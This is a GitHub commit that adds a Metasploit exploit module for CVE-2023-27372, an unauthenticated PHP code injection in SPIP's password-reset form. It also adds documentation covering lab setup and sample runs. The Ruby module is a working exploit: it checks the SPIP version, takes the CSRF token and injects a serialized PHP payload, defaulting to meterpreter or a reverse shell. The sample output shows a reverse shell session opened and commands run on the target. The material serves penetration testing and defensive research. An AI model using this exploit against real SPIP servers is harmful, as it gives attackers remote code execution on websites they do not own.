-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This module exploits a publically accessible endpoint in SPIP that results in code execution in the context of the user running the webapp (CVE-2023-27372).
- Loading branch information
Showing
2 changed files
with
354 additions
and
0 deletions.
There are no files selected for viewing
190 changes: 190 additions & 0 deletions
190
documentation/modules/exploit/unix/webapp/spip_rce_form.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,190 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a PHP code injection in SPIP. The vulnerability exists in | ||
the `oubli` parameter and allows an unauthenticated user to execute arbitrary | ||
commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are | ||
concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1. | ||
|
||
The module's `check` method attempts to obtain the SPIP version via a simple HTTP GET request to `/spip.php` | ||
page and fingerprints it either via the `generator` meta tag, or by the | ||
`Composed-By` header. | ||
|
||
This module has been successfully tested against SPIP version 4.0.0. | ||
|
||
## Setup | ||
|
||
On Ubuntu 20.04, download a vulnerable instance of SPIP: | ||
|
||
``` | ||
wget https://files.spip.net/spip/archives/spip-v4.2.0.zip | ||
``` | ||
|
||
Unzip it to a specific folder: | ||
|
||
``` | ||
mkdir spip-site | ||
cp spip-v4.2.0.zip spip-site/ | ||
cd spip-site / | ||
unzip spip-v4.2.0.zip | ||
``` | ||
|
||
Install php and the necessary extensions: | ||
|
||
``` | ||
sudo apt install -y php-xml php-zip php-sqlite3 | ||
``` | ||
|
||
Serve the application (while in the newly created spip-site directory): | ||
|
||
``` | ||
php -S 127.0.0.1:8000 | ||
``` | ||
|
||
Navigate to the following URL, select `sqlite` for the database, and complete the installation: | ||
|
||
``` | ||
http://127.0.0.1:8000/ecrire/ | ||
``` | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. Do: `use exploit/unix/webapp/spip_rce_form` | ||
3. Do: `set RHOSTS [IP]` | ||
4. Do: `set LHOST [IP]` | ||
5. Do: `exploit` | ||
|
||
## Options | ||
### TARGETURI | ||
The base path to PIP. The default value is `/`. | ||
|
||
## Targets | ||
|
||
### 0 (Linux Dropper) | ||
|
||
This uses a Linux dropper to execute code. | ||
|
||
### 1 (Unix Command) | ||
|
||
This executes a Unix command. | ||
|
||
## Scenarios | ||
### SPIP 4.0.0 - Linux target - PHP In-Memory | ||
``` | ||
Module options (exploit/unix/webapp/spip_rce_form): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8080 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes The base path to SPIP application | ||
VHOST no HTTP server virtual host | ||
Payload options (php/exec): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
CMD touch /tmp/pwned.txt yes The command string to execute | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
=> 0 Automatic (PHP In-Memory) | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(unix/webapp/spip_rce_form) > run | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] SPIP Version detected: 4.0.0 | ||
[+] The target appears to be vulnerable. | ||
[*] Got anti-csrf token: fDBVRjMENBhztAcYFvRr+49sl+fSbkKWDtcOmHtIo0Ta5iJ1MNTCax9uYvLZYlhtD77tZ0TcgnhyRwE= | ||
[*] 127.0.0.1:8080 - Attempting to exploit... | ||
[*] Exploit completed, but no session was created. | ||
-rw-rw-rw- 1 jvoisin jvoisin 0 Feb 28 20:45 /tmp/pwned.txt | ||
msf6 exploit(unix/webapp/spip_rce_form) > | ||
``` | ||
|
||
### SPIP 4.0.0 - Linux target - UNIX In-Memory | ||
|
||
``` | ||
msf6 exploit(unix/webapp/spip_rce_form) > options | ||
Module options (exploit/unix/webapp/spip_rce_form): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8080 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
TARGETURI / yes The base path to SPIP application | ||
URIPATH no The URI to use for this exploit (default is random) | ||
VHOST no HTTP server virtual host | ||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. | ||
SRVPORT 8080 yes The local port to listen on. | ||
Payload options (cmd/unix/reverse_openssl): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST localhost yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Automatic (Unix In-Memory) | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(unix/webapp/spip_rce_form) > set payload cmd/unix/reverse_openssl | ||
payload => cmd/unix/reverse_openssl | ||
msf6 exploit(unix/webapp/spip_rce_form) > run | ||
[!] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse double SSL handler on ::1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] SPIP Version detected: 4.0.0 | ||
[+] The target appears to be vulnerable. | ||
[*] Got anti-csrf token: fDBVRjMENBhztAcYFvRr+49sl+fSbkKWDtcOmHtIo0Ta5iJ1MNTCax9uYvLZYlhtD77tZ0TcgnhyRwE= | ||
[*] 127.0.0.1:8080 - Attempting to exploit... | ||
[*] Accepted the first client connection... | ||
[*] Accepted the second client connection... | ||
[*] Command: echo v5zOS2N6c977VY0X; | ||
[*] Writing to socket A | ||
[*] Writing to socket B | ||
[*] Reading from sockets... | ||
[*] Reading from socket A | ||
[*] A: "v5zOS2N6c977VY0X\n" | ||
[*] Matching... | ||
[*] B is input... | ||
[*] Command shell session 2 opened (::1:4444 -> ::1:38048) at 2023-04-10 21:30:25 +0200 | ||
^Z | ||
Background session 1? [y/N] y | ||
msf6 exploit(unix/webapp/spip_rce_form) > sessions -i 2 -c whoami | ||
[*] Running 'whoami' on shell session 2 (127.0.0.1) | ||
jvoisin | ||
msf6 exploit(unix/webapp/spip_rce_form) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::CmdStager | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'SPIP form PHP Injection', | ||
'Description' => %q{ | ||
This module exploits a PHP code injection in SPIP. The vulnerability exists in the | ||
oubli parameter and allows an unauthenticated user to execute arbitrary commands | ||
with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions | ||
are <3.2.18, <4.0.10, <4.1.18 and <4.2.1. | ||
}, | ||
'Author' => [ | ||
'coiffeur', # Initial discovery | ||
'Laluka', # PoC | ||
'Julien Voisin' # MSF module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
[ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ], | ||
[ 'URL', 'https://therealcoiffeur.com/c11010' ], | ||
[ 'CVE', '2023-27372' ], | ||
], | ||
'Privileged' => false, | ||
'Platform' => %w[php linux unix], | ||
'Arch' => [ARCH_PHP, ARCH_CMD], | ||
'Targets' => [ | ||
[ | ||
'Automatic (PHP In-Memory)', | ||
{ | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, | ||
'Type' => :php_memory, | ||
'Payload' => { | ||
'BadChars' => "\x22\x00" | ||
} | ||
} | ||
], | ||
[ | ||
'Automatic (Unix In-Memory)', | ||
{ | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, | ||
'Type' => :unix_memory, | ||
'Payload' => { | ||
'BadChars' => "\x22\x00\x27" | ||
} | ||
} | ||
], | ||
], | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
}, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2023-02-27' | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), | ||
] | ||
) | ||
end | ||
|
||
def check | ||
uri = normalize_uri(target_uri.path, 'spip.php') | ||
res = send_request_cgi({ 'uri' => uri.to_s }) | ||
|
||
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res | ||
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text | ||
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/ | ||
|
||
version = ::Regexp.last_match(1) | ||
|
||
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/ | ||
version = ::Regexp.last_match(1) | ||
end | ||
|
||
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version | ||
|
||
print_status("SPIP Version detected: #{version}") | ||
|
||
rversion = Rex::Version.new(version) | ||
if rversion >= Rex::Version.new('4.2.0') | ||
if rversion < Rex::Version.new('4.2.1') | ||
return Exploit::CheckCode::Appears | ||
end | ||
elsif rversion >= Rex::Version.new('4.1.0') | ||
if rversion < Rex::Version.new('4.1.18') | ||
return Exploit::CheckCode::Appears | ||
end | ||
elsif rversion >= Rex::Version.new('4.0.0') | ||
if rversion < Rex::Version.new('4.0.10') | ||
return Exploit::CheckCode::Appears | ||
end | ||
elsif rversion >= Rex::Version.new('3.2.0') | ||
if rversion < Rex::Version.new('3.2.18') | ||
return Exploit::CheckCode::Appears | ||
end | ||
end | ||
|
||
return Exploit::CheckCode::Safe | ||
end | ||
|
||
def execute_command(cmd, args = {}) | ||
send_request_cgi( | ||
{ | ||
'uri' => args['uri'], | ||
'method' => 'POST', | ||
'vars_post' => { | ||
'page' => 'spip_pass', | ||
'lang' => 'fr', | ||
'formulaire_action' => 'oubli', | ||
'formulaire_action_args' => args['csrf'], | ||
'oubli' => cmd | ||
} | ||
} | ||
) | ||
end | ||
|
||
def exploit | ||
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr') | ||
res = send_request_cgi({ 'uri' => uri }) | ||
|
||
fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res | ||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200 | ||
|
||
csrf = '' | ||
unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty? | ||
csrf = node.first['value'] | ||
end | ||
|
||
print_status("Got anti-csrf token: #{csrf}") | ||
|
||
print_status("#{rhost}:#{rport} - Attempting to exploit...") | ||
|
||
oubli = '' | ||
case target['Type'] | ||
when :php_memory | ||
oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";" | ||
when :unix_memory | ||
oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";" | ||
end | ||
execute_command(oubli, { 'uri' => uri, 'csrf' => csrf }) | ||
end | ||
end |